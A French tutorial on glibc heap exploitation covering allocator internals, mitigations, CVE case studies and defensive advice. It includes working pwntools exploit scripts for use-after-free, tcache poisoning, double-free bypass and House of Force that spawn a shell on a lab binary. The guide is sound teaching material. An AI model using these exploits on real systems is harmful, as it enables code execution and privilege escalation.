L'exploitation des vulnérabilités de la heap constitue l'un des domaines les plus avancés et les plus redoutés de la sécurité offensive moderne. Les allocateurs mémoire dynamiques — glibc malloc (ptmalloc2), jemalloc, tcmalloc — gèrent des milliards d'allocations quotidiennes dans les systèmes d'exploitation, les navigateurs et les serveurs. Comprendre leur fonctionnement interne et leurs faiblesses permet aux chercheurs en sécurité d'exploiter des vulnérabilités critiques comme les Use-After-Free, le Tcache Poisoning et le Heap Spraying. Ce guide technique approfondi de plus de 10 000 mots couvre l'ensemble de la chaîne d'exploitation heap, depuis l'architecture des allocateurs jusqu'aux techniques modernes de contournement des mitigations, en passant par les études de cas sur des CVE réelles. Les professionnels de la cybersécurité, les pentesteurs et les développeurs de systèmes critiques trouveront ici une méthodologie rigoureuse et des exemples de code exploitables avec pwntools, GEF et pwndbg.
En bref
- Architecture interne de la heap glibc : chunks, bins, tcache et arenas
- Techniques d'exploitation : Use-After-Free, Tcache Poisoning, Double-Free, House of techniques
- Mitigations modernes : safe-unlinking, pointer mangling, ASLR et leur contournement
- Outils pratiques : pwntools, GEF, pwndbg, how2heap avec exemples de code complets
- Études de cas CVE réelles : Netfilter, Looney Tunables, nf_tables
Architecture de la Heap sous glibc (ptmalloc2)
L'allocateur ptmalloc2 de la glibc est le gestionnaire de mémoire dynamique par défaut sur la majorité des systèmes Linux. Il dérive de l'allocateur dlmalloc de Doug Lea, enrichi du support multi-thread via les arenas. Chaque processus dispose d'une arena principale (main arena) utilisant brk() pour étendre la heap, et d'arenas secondaires créées dynamiquement avec mmap() pour les threads additionnels. La concurrence est gérée par des mutex par arena — un thread bloqué sur un mutex peut migrer vers une arena moins contenue.
L'allocateur organise la mémoire en chunks — des blocs contigus contenant les métadonnées d'allocation et les données utilisateur. Chaque chunk possède un en-tête de 16 octets (sur x86_64) comprenant le champ prev_size (taille du chunk précédent s'il est libre) et le champ size (taille du chunk courant avec les bits de flags). Les trois bits de poids faible du champ size encodent les flags : PREV_INUSE (P, bit 0), IS_MMAPPED (M, bit 1) et NON_MAIN_ARENA (N, bit 2). La taille minimale d'un chunk est de 32 octets sur x86_64 (16 octets d'en-tête + 16 octets minimum de données), aligné sur 16 octets.
malloc() est précédé d'un en-tête contenant sa taille et des flags de statut. Les chunks libérés sont organisés en listes chaînées (bins) pour être réutilisés.Structure Détaillée d'un Chunk Malloc
Un chunk alloué est structuré comme suit en mémoire. Le pointeur retourné par malloc() pointe vers le début des données utilisateur, soit chunk_addr + 2 * sizeof(size_t). Cette structure est exploitée dans pratiquement toutes les attaques heap :
// Structure interne d'un chunk alloué (glibc source: malloc/malloc.c)
struct malloc_chunk {
size_t prev_size; // Taille du chunk précédent (si P=0, c'est-à-dire chunk précédent libre)
size_t size; // Taille du chunk courant | flags (P|M|N)
// --- mem = début des données utilisateur ---
// Le pointeur retourné par malloc() pointe ici
};
// Quand un chunk est libéré, l'espace données est réutilisé pour stocker les pointeurs :
struct free_chunk {
size_t prev_size;
size_t size;
struct free_chunk *fd; // Forward pointer — prochain chunk libre dans le bin
struct free_chunk *bk; // Backward pointer — chunk libre précédent dans le bin
// Pour les large bins uniquement :
struct free_chunk *fd_nextsize; // Prochain chunk de taille différente
struct free_chunk *bk_nextsize; // Précédent chunk de taille différente
};
// Macros clés de la glibc :
#define PREV_INUSE 0x1 // Le chunk précédent est alloué
#define IS_MMAPPED 0x2 // Le chunk a été alloué via mmap()
#define NON_MAIN_ARENA 0x4 // Le chunk est dans une arena secondaire
#define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)
#define chunksize(p) ((p)->size & ~SIZE_BITS) // Taille réelle sans flags
La réutilisation de l'espace données pour stocker les pointeurs de liste chaînée est une optimisation cruciale : elle évite d'allouer de la mémoire supplémentaire pour la gestion des chunks libres. Mais c'est aussi la source de la quasi-totalité des attaques heap — un attaquant capable d'écrire dans un chunk libéré peut corrompre ces pointeurs et rediriger les allocations futures.
Bins et Classification des Chunks Libres
Lorsqu'un chunk est libéré via free(), il est placé dans l'un des bins — des listes chaînées organisant les chunks libres par taille. La glibc utilise cinq types de bins, chacun optimisé pour un scénario d'allocation spécifique. Comprendre cette classification est essentiel car chaque type de bin offre des vecteurs d'attaque différents :
| Type de Bin | Taille des chunks | Structure | Politique | Vecteur d'attaque principal |
|---|---|---|---|---|
| Tcache | ≤ 1032 octets | LIFO, simplement chaînée | 7 entries max par taille | Tcache poisoning, double-free |
| Fast bins | ≤ 176 octets (défaut) | LIFO, simplement chaînée | Pas de consolidation | Fast-bin dup, fast-bin attack |
| Unsorted bin | Toute taille | FIFO, doublement chaînée | Buffer temporaire | Unsorted bin attack, House of Orange |
| Small bins | ≤ 1008 octets | FIFO, doublement chaînée | 62 bins, taille exacte | Small bin corruption |
| Large bins | > 1008 octets | Triée par taille | 63 bins, plage | Large bin attack, House of Storm |
Le flux de libération suit un ordre de priorité strict : un chunk libéré est d'abord placé dans le tcache (si disponible et non plein), puis dans le fast-bin (si la taille est éligible), puis dans l'unsorted bin. Lors de l'allocation, le flux est inversé : tcache → fast-bin → small/large bin → unsorted bin → top chunk. Ce mécanisme crée des interactions complexes entre les bins, exploitées par les techniques avancées comme House of Botcake.
Le Tcache : Cache Thread-Local et Cible Principale
Introduit dans glibc 2.26 (2017), le tcache (thread-local cache) est un cache per-thread qui accélère les allocations et libérations en évitant les verrous de l'arena principale. Chaque thread possède un tcache_perthread_struct contenant 64 bins (un par taille, de 24 à 1032 octets par pas de 16), chacun pouvant contenir jusqu'à 7 chunks. Le tcache utilise une liste simplement chaînée LIFO : free() push en tête, malloc() pop depuis la tête.
// Structure tcache interne (glibc >= 2.26)
#define TCACHE_MAX_BINS 64
#define TCACHE_FILL_COUNT 7
typedef struct tcache_entry {
struct tcache_entry *next; // Pointeur vers le prochain chunk libre
struct tcache_perthread_struct *key; // Anti-double-free (glibc >= 2.29)
} tcache_entry;
typedef struct tcache_perthread_struct {
uint16_t counts[TCACHE_MAX_BINS]; // Nombre de chunks par bin
tcache_entry *entries[TCACHE_MAX_BINS]; // Têtes de listes par taille
} tcache_perthread_struct;
// Mise en tcache lors de free() :
static void tcache_put(mchunkptr chunk, size_t tc_idx) {
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
e->key = tcache; // Marquer comme étant dans le tcache
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
Cette simplicité fait du tcache la cible principale des attaques heap modernes. Contrairement aux bins de l'arena (qui utilisent des listes doublement chaînées avec safe-unlinking), le tcache n'a historiquement aucune vérification d'intégrité des pointeurs. Un simple écrasement du pointeur next suffit pour rediriger malloc() vers une adresse arbitraire.
Use-After-Free : Anatomie Complète d'une Exploitation
Un Use-After-Free (UAF) survient lorsqu'un programme accède à un chunk de mémoire après qu'il a été libéré par free(). Le chunk libéré est recyclé par l'allocateur et peut être réalloué à un objet de type différent. Si l'ancien pointeur (dangling pointer) est utilisé pour lire ou écrire, il accède aux données du nouvel objet — créant une confusion de type (type confusion) exploitable. Les UAF représentent environ 40% des vulnérabilités critiques dans les navigateurs et le noyau Linux selon les données de MITRE CWE-416.
Mécanisme du Use-After-Free et Dangling Pointers
// Exemple classique de UAF avec confusion de type
typedef struct {
char name[32];
void (*handler)(void); // Pointeur de fonction à offset 32
} User;
typedef struct {
char cmd[32]; // Données contrôlées par l'attaquant
int privilege; // À offset 32 — chevauche handler
} Admin;
int main() {
User *user = malloc(sizeof(User)); // Allocation : 40 octets
strcpy(user->name, "legitimate");
user->handler = safe_function;
free(user); // Libération — user est un dangling pointer
// Le chunk est dans le tcache (taille 40 < 1032)
// Réallocation avec même taille → MÊME chunk recyclé
Admin *admin = malloc(sizeof(Admin));
strcpy(admin->cmd, "\x90\x90\x90\x90" "\xef\xbe\xad\xde" /* shellcode addr */);
admin->privilege = 1;
// UAF : user->handler() lit l'adresse à offset 32
// Qui est maintenant admin->privilege (contrôlé!)
user->handler(); // BOOM — exécution de code arbitraire
return 0;
}
Le pattern d'exploitation UAF en quatre étapes : 1) Allocation de l'objet cible contenant un pointeur de fonction ou des données sensibles. 2) Libération de l'objet — le chunk retourne dans un bin. 3) Réallocation d'un objet de même taille avec des données contrôlées par l'attaquant. 4) Déclenchement de l'accès via le dangling pointer, exploitant la confusion de type.
Exploitation Pratique du UAF avec pwntools
#!/usr/bin/env python3
# Exploit UAF typique avec pwntools
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
elf = ELF('./vuln_heap')
libc = ELF('./libc.so.6')
p = process('./vuln_heap')
def alloc(idx, size, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendlineafter(b'Data: ', data)
def free_chunk(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', str(idx).encode())
def show(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', str(idx).encode())
return p.recvuntil(b'\n', drop=True)
def edit(idx, data):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendlineafter(b'Data: ', data)
# Step 1: Allocation pour obtenir un leak de libc
alloc(0, 0x420, b'A' * 0x10) # Chunk dans unsorted bin (> tcache max)
alloc(1, 0x20, b'B' * 0x10) # Guard chunk contre consolidation top
# Step 2: Libérer chunk 0 → va dans unsorted bin
free_chunk(0)
# Step 3: UAF read — le fd/bk de l'unsorted bin contient &main_arena+96
leak = show(0)
libc_leak = u64(leak[:8])
libc.address = libc_leak - 0x1ecbe0 # Offset main_arena+96 depuis libc base
log.success(f'libc base: {hex(libc.address)}')
# Step 4: Tcache poisoning pour obtenir l'exécution de code
alloc(2, 0x30, b'C' * 0x10)
alloc(3, 0x30, b'D' * 0x10)
free_chunk(2)
free_chunk(3) # tcache[0x40]: 3 -> 2
# UAF write sur chunk 3 : écraser le fd pour pointer vers __free_hook
edit(3, p64(libc.sym['__free_hook']))
alloc(4, 0x30, b'/bin/sh\x00') # Retourne chunk 3 (ancien)
alloc(5, 0x30, p64(libc.sym['system'])) # Retourne __free_hook !
# Déclencher system("/bin/sh")
free_chunk(4) # free(chunk4) → __free_hook(chunk4) → system("/bin/sh")
p.interactive()
Cet exploit illustre les deux primitifs fondamentaux obtenus via un UAF : information leak (lecture des pointeurs de l'unsorted bin pour calculer l'adresse de la libc) et arbitrary write (tcache poisoning pour écrire dans __free_hook). La chaîne __free_hook → system est le vecteur d'exécution de code le plus classique avant glibc 2.34.
how2heap de Shellphish comme référence d'apprentissage : chaque technique d'exploitation heap y est implémentée avec des exemples concrets et documentés, classés par version de glibc. Le repository contient plus de 30 techniques avec des binaires de test.Tcache Poisoning : Redirection d'Allocation Arbitraire
Le Tcache Poisoning exploite la simplicité du tcache pour rediriger l'allocation vers une adresse arbitraire. Le pointeur next d'un chunk tcache libre pointe vers le prochain chunk libre dans le bin. En écrasant ce pointeur (via UAF, overflow, ou double-free), l'attaquant peut faire pointer malloc() vers n'importe quelle adresse mémoire — y compris __free_hook, __malloc_hook, la GOT, ou des structures de contrôle du programme.
// Tcache poisoning simplifié
// État initial du tcache bin[0x40] : chunk_A -> chunk_B -> NULL
free(chunk_A);
free(chunk_B);
// tcache bin[0x40] : chunk_B -> chunk_A -> NULL
// L'attaquant écrase le fd de chunk_B :
*(size_t *)chunk_B = (size_t)&__free_hook;
// tcache bin[0x40] : chunk_B -> __free_hook -> ???
malloc(0x30); // Retourne chunk_B (normal)
malloc(0x30); // Retourne __free_hook ! ← allocation arbitraire
// L'attaquant écrit system dans __free_hook
// Puis free(chunk_contenant_binsh) → system("/bin/sh")
Contourner le Safe-Linking (glibc 2.32+)
Depuis glibc 2.32, le mécanisme de safe-linking protège les pointeurs next dans le tcache et les fast-bins en les chiffrant avec un XOR :
// Protection safe-linking (glibc >= 2.32)
#define PROTECT_PTR(pos, ptr) \
((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr)))
#define REVEAL_PTR(ptr) \
PROTECT_PTR(&(ptr), ptr)
// Le pointeur stocké est : P' = P XOR (L >> 12)
// où P = pointeur réel, L = adresse de stockage du pointeur
Pour contourner le safe-linking, l'attaquant doit connaître l'adresse du chunk (nécessite un heap leak). Le premier chunk libre d'un tcache bin a son next à NULL, ce qui signifie que la valeur stockée est 0 XOR (addr >> 12) = addr >> 12. Un simple read de ce chunk leake donc les 52 bits de poids fort de son adresse — suffisant pour reconstruire l'adresse complète.
# Bypass safe-linking avec pwntools
def protect(pos, ptr):
"""Encode un pointeur avec safe-linking"""
return ptr ^ (pos >> 12)
def reveal(pos, protected):
"""Décode un pointeur protégé par safe-linking"""
return protected ^ (pos >> 12)
# Étape 1 : Leak de l'adresse heap via le premier chunk libre
free_chunk(0)
heap_leak = show(0) # Lit le next protégé du premier chunk libre
heap_addr = u64(heap_leak[:8]) << 12 # Approximation (12 bits inconnus)
# Étape 2 : Calculer le faux pointeur protégé
target = libc.sym['__free_hook']
chunk_addr = heap_addr + 0x290 # Offset du chunk dans la heap
fake_next = protect(chunk_addr + 0x10, target) # +0x10 = offset du fd
# Étape 3 : Écrire le faux pointeur et exploiter
edit(0, p64(fake_next))
malloc() # Retourne chunk 0
malloc() # Retourne __free_hook !
Double-Free : Exploitation et Mitigations
Un double-free survient lorsque free() est appelé deux fois sur le même pointeur. Sans protection, cela crée un cycle dans la liste chaînée du bin : le même chunk apparaît deux fois. Deux malloc() successifs retournent alors le même chunk, permettant à l'attaquant d'écrire des données arbitraires dans un chunk considéré comme alloué par le programme — un primitif d'écriture extrêmement puissant.
Depuis glibc 2.29, le champ key du tcache_entry est utilisé comme canari anti-double-free. Avant chaque free(), la glibc vérifie si key == tcache_perthread_struct. Si oui, le chunk est potentiellement déjà dans le tcache — la glibc parcourt alors la liste pour vérifier. Contournement : écraser le champ key (à mem + 8) avant le second free().
# Double-free avec bypass tcache key (glibc >= 2.29)
alloc(0, 0x20, b'AAAA')
free_chunk(0)
# Le tcache key est à offset 8 dans la zone de données du chunk
# On écrase key avec une valeur différente de tcache_perthread_struct
edit(0, b'\x00' * 8 + b'\x00' * 8) # Nullifier le key
free_chunk(0) # Double-free réussit car key != tcache
# Le tcache bin contient maintenant : chunk_0 -> chunk_0 (cycle)
alloc(1, 0x20, p64(target_addr)) # Retourne chunk_0, écrit target dans next
alloc(2, 0x20, b'dummy') # Retourne chunk_0 (deuxième fois)
alloc(3, 0x20, payload) # Retourne target_addr !
Fast-bin Dup et Overlapping Chunks
Le fast-bin dup est une variante du double-free ciblant les fast-bins (quand le tcache est plein ou indisponible). La vérification if (__builtin_expect (old == p, 0)) compare uniquement la tête de la liste avec le chunk libéré. Contournement classique : intercaler un free d'un chunk différent : free(A) → free(B) → free(A). Le résultat : la liste fast-bin contient A → B → A, et trois malloc successifs retournent A, B, A — l'attaquant peut alors injecter un pointeur arbitraire dans le fd du second A.
La technique des overlapping chunks exploite la corruption des métadonnées de chunk (champ size) pour faire croire à l'allocateur qu'un chunk est plus grand qu'il ne l'est réellement. Lors de la réallocation, le chunk élargi chevauche le chunk adjacent — donnant à l'attaquant un accès en lecture/écriture sur les données du chunk voisin. Cette technique est souvent combinée avec un off-by-one null byte overflow pour corrompre le champ size d'un chunk adjacent.
# Overlapping chunks via off-by-one null byte
alloc(0, 0x108, b'A' * 0x100) # Chunk de 0x110 (size = 0x111)
alloc(1, 0xf8, b'B' * 0xf0) # Chunk de 0x100 (size = 0x101)
alloc(2, 0xf8, b'C' * 0xf0) # Guard chunk
# Off-by-one null byte overflow depuis chunk 0
# Écrase le dernier octet de size de chunk 1 : 0x101 → 0x100
# Le bit PREV_INUSE de chunk 1 est maintenant 0 → chunk 0 est considéré libre
edit(0, b'A' * 0x108 + b'\x00') # Null byte overflow
# Préparer un faux prev_size dans chunk 1 pour la consolidation backward
# prev_size = 0x110 (taille de chunk 0)
free_chunk(1) # Consolidation backward avec chunk 0 !
# L'allocateur croit que chunk 0 (libre) + chunk 1 forment un seul grand chunk
alloc(3, 0x200, b'D' * 0x200) # Retourne le grand chunk consolidé
# chunk 3 chevauche chunk 0 → overlapping chunks
Heap Spraying : Stratégies et Techniques Modernes
Le Heap Spraying consiste à remplir la heap avec des données contrôlées pour augmenter la probabilité qu'une exploitation réussisse. En remplissant de grandes zones de mémoire avec des patterns prévisibles (NOP sleds + shellcode, ou des pointeurs vers un payload), l'attaquant transforme une corruption mémoire imprécise en exploitation fiable. Le heap spraying est particulièrement utilisé dans l'exploitation de navigateurs via JavaScript et dans l'exploitation kernel via des structures utilisateur.
Variantes Avancées du Heap Spraying
Les techniques modernes de heap spraying vont au-delà du simple remplissage mémoire :
- JIT Spraying : injection de shellcode via les constantes numériques compilées par le moteur JIT JavaScript. Le JIT compile
var x = 0x3c909090 ^ 0x3c909090en instructions machine contenant les opcodes souhaités. En sautant au milieu d'une instruction, l'attaquant exécute son shellcode. Mitigation : constant blinding dans V8 et SpiderMonkey. - DOM Element Spraying : utilisation d'éléments DOM (textarea, iframe) pour placer des chaînes de caractères contrôlées dans la heap du navigateur. Plus fiable que le JavaScript spraying car les objets DOM utilisent des allocateurs prévisibles.
- ArrayBuffer Spraying : allocation massive d'
ArrayBufferen JavaScript. Chaque ArrayBuffer utilise un backing store alloué séparément — idéal pour le heap grooming. En WebAssembly, les mémoires linéaires sont allouées de manière contiguë et page-alignée. - Heap Feng Shui : arrangement délibéré des allocations pour contrôler la disposition de la heap. L'attaquant libère et réalloue des chunks stratégiquement pour placer un chunk cible adjacent à un chunk qu'il contrôle.
House of Techniques : Catalogue des Méthodes
Les "House of" techniques sont un ensemble de méthodes d'exploitation heap nommées et documentées par la communauté de recherche en sécurité. Chaque technique cible un comportement spécifique de l'allocateur pour obtenir un primitif d'écriture ou d'exécution de code :
| Technique | glibc | Mécanisme | Primitif obtenu |
|---|---|---|---|
| House of Force | < 2.29 | Écrasement de top chunk size → malloc(delta) = arbitrary addr | Allocation arbitraire |
| House of Spirit | Toute | Création de faux chunk sur la stack → free() → malloc() retourne l'adresse stack | Stack write |
| House of Lore | Toute | Corruption du bk pointer d'un small bin chunk | Allocation dans zone contrôlée |
| House of Einherjar | Toute | Off-by-one null byte → consolidation backward abusive | Overlapping chunks |
| House of Orange | < 2.26 | sysmalloc libère l'ancien top chunk → _IO_FILE attack | RCE sans free() |
| House of Botcake | ≥ 2.26 | Interaction tcache/unsorted bin → double-free sans tcache key check | Overlapping chunks |
| House of Apple 1/2/3 | ≥ 2.34 | Abus de _IO_wide_data, _IO_wfile_jumps | RCE post-hooks removal |
| House of Kiwi | ≥ 2.34 | Corruption de _IO_helper_jumps | RCE via FSOP |
| House of Husk | Toute | Corruption de __printf_function_table | Exécution de code via printf |
House of Force : Exploitation du Top Chunk
La technique House of Force exploite le top chunk (wilderness) — le dernier chunk de la heap qui satisfait les allocations quand aucun bin ne contient de chunk de taille suffisante. En écrasant la taille du top chunk avec -1 (0xffffffffffffffff), toute allocation ultérieure est satisfaite car la vérification av->top->size >= nb est toujours vraie. L'attaquant calcule alors une taille d'allocation delta = target_addr - top_chunk_addr - 2*sizeof(size_t) pour que le prochain malloc() retourne un pointeur vers l'adresse cible.
# House of Force — glibc < 2.29
from pwn import *
# Prérequis : overflow pour écraser la taille du top chunk
alloc(0, 0x18, b'A' * 0x18 + p64(0xffffffffffffffff))
# Le top chunk a maintenant size = -1
# Calculer le delta pour atteindre __malloc_hook
top_addr = heap_base + 0x290 + 0x20 # Adresse du top chunk
target = libc.sym['__malloc_hook'] - 0x10
delta = target - top_addr - 0x20
alloc(1, delta, b'') # malloc(delta) → avance le top chunk
alloc(2, 0x18, p64(one_gadget)) # malloc() retourne __malloc_hook !
# Déclencher l'exécution
alloc(3, 0x18, b'trigger') # malloc() → __malloc_hook() → one_gadget
Cette technique a été efficacement mitigée dans glibc 2.29 par l'ajout d'une vérification : if (__glibc_unlikely (size > av->system_mem)). Le top chunk size ne peut plus dépasser la taille de la mémoire système, rendant l'attaque impossible sans bypass additionnel.
House of Orange et Attaques _IO_FILE
La technique House of Orange est remarquable car elle ne nécessite pas d'appel à free(). Elle exploite le mécanisme de sysmalloc : lorsque la demande d'allocation dépasse la taille du top chunk, glibc appelle sysmalloc() qui libère l'ancien top chunk dans l'unsorted bin puis étend la heap. En corrompant la taille du top chunk pour la rendre insuffisante, puis en allouant un chunk plus grand, l'attaquant force l'ancien top chunk dans l'unsorted bin — où il peut être exploité via une attaque _IO_FILE.
Depuis glibc 2.34, les hooks __free_hook et __malloc_hook ont été supprimés. Les techniques House of Apple (1, 2 et 3) exploitent les structures _IO_FILE et _IO_wide_data pour obtenir l'exécution de code via le mécanisme FSOP (File Stream Oriented Programming). House of Apple 2 est la plus polyvalente : elle cible _IO_wfile_overflow via le vtable _IO_wfile_jumps pour appeler une fonction arbitraire.
Mitigations Modernes et État de l'Art
Les systèmes modernes empilent de nombreuses couches de protection contre l'exploitation heap. Comprendre ces mitigations est essentiel pour évaluer la faisabilité d'une exploitation :
Safe-Unlinking et Vérification d'Intégrité
Introduit dans glibc 2.3.4, le safe-unlinking vérifie l'intégrité des pointeurs avant de retirer un chunk d'une liste doublement chaînée : P->fd->bk == P && P->bk->fd == P. Si la vérification échoue, malloc_printerr() est appelé et le processus est aborted. Contournement : si l'attaquant connaît l'adresse d'une variable globale ptr pointant vers le chunk cible, il peut construire un faux chunk avec fd = &ptr - 3*sizeof(size_t) et bk = &ptr - 2*sizeof(size_t) pour satisfaire la vérification — résultant en ptr = &ptr - 3*sizeof(size_t) (un write limité mais exploitable).
ASLR, PIE et Randomisation de la Heap
L'ASLR randomise l'adresse de base de la heap, de la stack, et des bibliothèques partagées à chaque exécution. Combiné avec PIE (Position Independent Executable), même l'adresse du binaire principal est randomisée. Contournements classiques : brute-force (viable uniquement sur 32 bits — 4096 tentatives), information leak (fuite d'un pointeur heap/libc via format string, read overflow, ou UAF read), partial overwrite (écraser uniquement les 1-2 octets de poids faible d'un pointeur, sans affecter les octets aléatoires).
Pointer Mangling et PTR_DEMANGLE
Le pointer guard protège les pointeurs de fonctions globaux (comme les handlers de atexit()) via un XOR avec un secret aléatoire stocké dans le Thread-Local Storage (TLS) suivi d'une rotation de bits : PTR_MANGLE(ptr) = ROL(ptr XOR guard, 17). Pour contourner cette protection, l'attaquant doit leaker la valeur du pointer guard depuis le TLS — possible via une lecture arbitraire à l'adresse fs:0x30 (x86_64).
Outils d'Exploitation et d'Analyse Heap
L'écosystème d'outils pour l'exploitation heap est riche et mature. Voici les outils essentiels avec leur utilisation spécifique :
- pwntools : Framework Python complet d'exploitation. Fonctionnalités clés : gestion de processus locaux/distants, packing/unpacking (p64/u64), construction de ROP chains, shellcraft (génération de shellcode), DynELF (résolution dynamique de symboles). Installation :
pip install pwntools. - GEF (GDB Enhanced Features) : Extension GDB pour l'exploitation. Commandes essentielles :
heap bins(visualise tous les bins),heap chunks(liste les chunks),heap arenas(affiche les arenas),heap analysis-libc(détecte les faiblesses). - pwndbg : Alternative à GEF. Commandes :
vis_heap_chunks(représentation visuelle ASCII),bins(affiche les bins colorés),tcachebins(détail du tcache). Plus adapté aux grands heaps. - how2heap : Collection de démonstrations pour chaque technique d'exploitation heap, classées par version de glibc. Indispensable pour l'apprentissage.
- HeapLAB : Cours interactif de Max Kamper avec des exercices progressifs. Les VMs pré-configurées incluent toutes les versions de glibc nécessaires.
- Azeria Labs ARM Exploit : Extension des techniques heap à l'architecture ARM, pertinent pour l'exploitation IoT et mobile.
CVE-2021-22555 : Netfilter Heap Out-of-Bounds Write
Cette vulnérabilité dans le sous-système Netfilter du noyau Linux (présente depuis le commit initial en 2006) permet une escalade de privilèges via un heap out-of-bounds write dans le SLUB allocator du kernel. L'exploit développé par Andy Nguyen (Google) utilise la technique msg_msg spraying : les structures struct msg_msg (utilisées par les message queues System V) sont allouées dans le même slab cache que les structures Netfilter vulnérables. En remplissant le slab avec des msg_msg contrôlés, puis en libérant stratégiquement, l'attaquant place une structure vulnérable adjacente à un msg_msg. L'overflow écrase les métadonnées du msg_msg, transformant le bug en un primitif de lecture/écriture kernel arbitraire. La technique est stabilisée par userfaultfd() pour contrôler le timing des opérations.
CVE-2023-4911 (Looney Tunables) : Buffer Overflow dans ld.so
La vulnérabilité Looney Tunables est un buffer overflow dans le dynamic linker de glibc (ld.so) lors du traitement de la variable d'environnement GLIBC_TUNABLES. Le parsing de cette variable utilise un buffer alloué sur la heap sans vérification correcte de la taille. L'overflow corrompt les métadonnées de chunks heap adjacents, permettant un write-what-where primitif exploitable pour l'escalade de privilèges sur la quasi-totalité des distributions Linux (Ubuntu, Fedora, Debian). L'exploitation est remarquablement fiable car ld.so est chargé avant toute mitigation applicative et les adresses de la heap sont prévisibles dans le contexte du linker.
CVE-2024-1086 : nf_tables Use-After-Free Kernel
Cette vulnérabilité dans nf_tables (le successeur d'iptables dans le sous-système Netfilter) est un Use-After-Free dans la gestion des verdicts de paquets réseau. Le nf_hook_slow() continue de référencer un verdict après qu'il a été libéré lors du traitement batch. L'exploit (publié par Notselwyn) est remarquable par sa fiabilité (>99.4%) : il utilise le page-level heap feng shui — au lieu de manipuler des chunks individuels, il contrôle des pages entières de mémoire kernel via kmalloc-192 spraying avec des structures struct pipe_buffer. L'exploitation donne un accès root en ~3 secondes sur les kernels Linux 5.14 à 6.6.
Exploitation de la Heap dans les Navigateurs
Dans les navigateurs modernes (Chrome, Firefox, Safari), la heap est gérée par des allocateurs spécialisés conçus pour résister à l'exploitation :
- PartitionAlloc (Chrome) : Isole les types d'objets dans des partitions séparées. Chaque type a son propre pool de pages — un UAF dans un objet JavaScript ne peut pas recycler un objet DOM. Inclut : BackupRefPtr (quarantaine des pointeurs), guard pages, slot randomization.
- mozjemalloc (Firefox) : Fork de jemalloc avec des hardening spécifiques. Les poisoning (écriture de patterns dans les chunks libérés) et les canary checks détectent les corruptions. Le PoisonedMalloc mode écrit
0xe5dans les chunks libérés pour détecter les UAF. - libmalloc/bmalloc (Safari/WebKit) : Utilise des Gigacages — des régions de 32 Go réservées pour les tableaux JavaScript. Les pointeurs sont bornés dans la cage, limitant l'impact des corruptions.
L'exploitation navigateur nécessite des techniques spécifiques : type confusion via JIT, ArrayBuffer backing store corruption, et WebAssembly memory exploitation. Les sandboxes (seccomp-bpf sur Linux, Win32k lockdown sur Windows) ajoutent une couche de complexité — une chaîne d'exploitation complète nécessite souvent un bug renderer + un bug sandbox escape.
Exploitation Heap sous Windows
L'allocateur Windows a évolué significativement : du NT Heap classique au Segment Heap (Windows 10+). Les protections incluent :
- LFH (Low Fragmentation Heap) : Randomisation des buckets, rendant le heap spraying non déterministe. Les allocations dans les sous-segments LFH ne sont pas ordonnées séquentiellement.
- Heap metadata encryption : Les métadonnées des chunks (headers) sont XORées avec un cookie aléatoire per-heap. L'écrasement aveugle des headers déclenche un crash.
- Guard pages : Des pages non-mappées sont insérées entre les segments heap pour détecter les overflows linéaires.
- Segment Heap (Windows 10+) : Architecture complètement redessinée avec des Variable Size segments (VS) et des Large Block segments (LB). Plus difficile à exploiter que le NT Heap classique.
Les techniques d'exploitation Windows modernes incluent le LFH bucket spraying (remplir un sous-segment LFH pour obtenir des allocations prévisibles), la corruption des _HEAP_VS_CONTEXT structures, et l'exploitation des Pool allocations kernel via NtAllocateVirtualMemory. L'outil WinDbg avec l'extension !heap est essentiel pour l'analyse et le debugging des allocations heap sous Windows.
Exploitation SLUB Allocator dans le Kernel Linux
Le noyau Linux utilise le SLUB allocator (successeur de SLAB) pour gérer les allocations mémoire kernel. Contrairement à la heap userspace, le SLUB utilise des slab caches — des pools d'objets de taille fixe. Les caches kmalloc-32, kmalloc-64, etc. servent les allocations par taille, tandis que les caches dédiés (e.g., task_struct) servent des types spécifiques. L'exploitation kernel heap suit des patterns similaires au userspace mais avec des spécificités :
- Cross-cache attacks : Exploitation de la colocation de caches dans les mêmes pages physiques. Un chunk libéré dans
kmalloc-192peut être réalloué par un objet d'un autre cache de même taille. - msg_msg spraying : Les structures
struct msg_msg(taille variable) sont idéales pour le heap spraying kernel car elles sont contrôlées depuis userspace. - Pipe buffer spraying : Les
struct pipe_buffer(kmalloc-1024) offrent un primitif de lecture/écriture kernel via les opérations sur les pipes. - userfaultfd/FUSE : Permettent de bloquer les page faults kernel, contrôlant le timing des allocations pour stabiliser l'exploitation.
Bonnes Pratiques Défensives pour les Développeurs
La prévention des vulnérabilités heap commence au niveau du code source et de la compilation :
- Nullification des pointeurs : Toujours mettre à NULL un pointeur après
free()pour prévenir les UAF :free(ptr); ptr = NULL;. Les macrosSAFE_FREE(p)automatisent ce pattern. - Smart pointers : En C++, utiliser
std::unique_ptretstd::shared_ptrpour automatiser la gestion de la mémoire et éliminer les dangling pointers. - Address Sanitizer (ASan) : Compiler avec
-fsanitize=addresspour détecter les UAF, les buffer overflows et les double-free à l'exécution. ASan intercepte malloc/free et maintient des zones rouges autour de chaque allocation. - Memory Sanitizer (MSan) : Détecte les lectures de mémoire non initialisée avec
-fsanitize=memory. - Rust/Zig : Pour les nouveaux projets, ces langages offrent des garanties de sécurité mémoire au compile-time, éliminant des classes entières de vulnérabilités heap.
- Allocateurs sécurisés :
hardened_malloc(GrapheneOS),scudo(Android),mimalloc-secureoffrent des protections supplémentaires au runtime.
Workflow Complet d'Exploitation Heap
Une exploitation heap réussie suit un workflow méthodique en cinq phases :
- Reconnaissance : Identifier la version de glibc (
ldd --version), les protections binaires (checksec), l'allocateur utilisé, et les mitigations compilateur (RELRO, stack canary, NX, PIE). - Modélisation du heap : Utiliser GEF/pwndbg pour visualiser les chunks, les bins, et comprendre le layout de la heap. Identifier les chunks contrôlables et les chunks cibles.
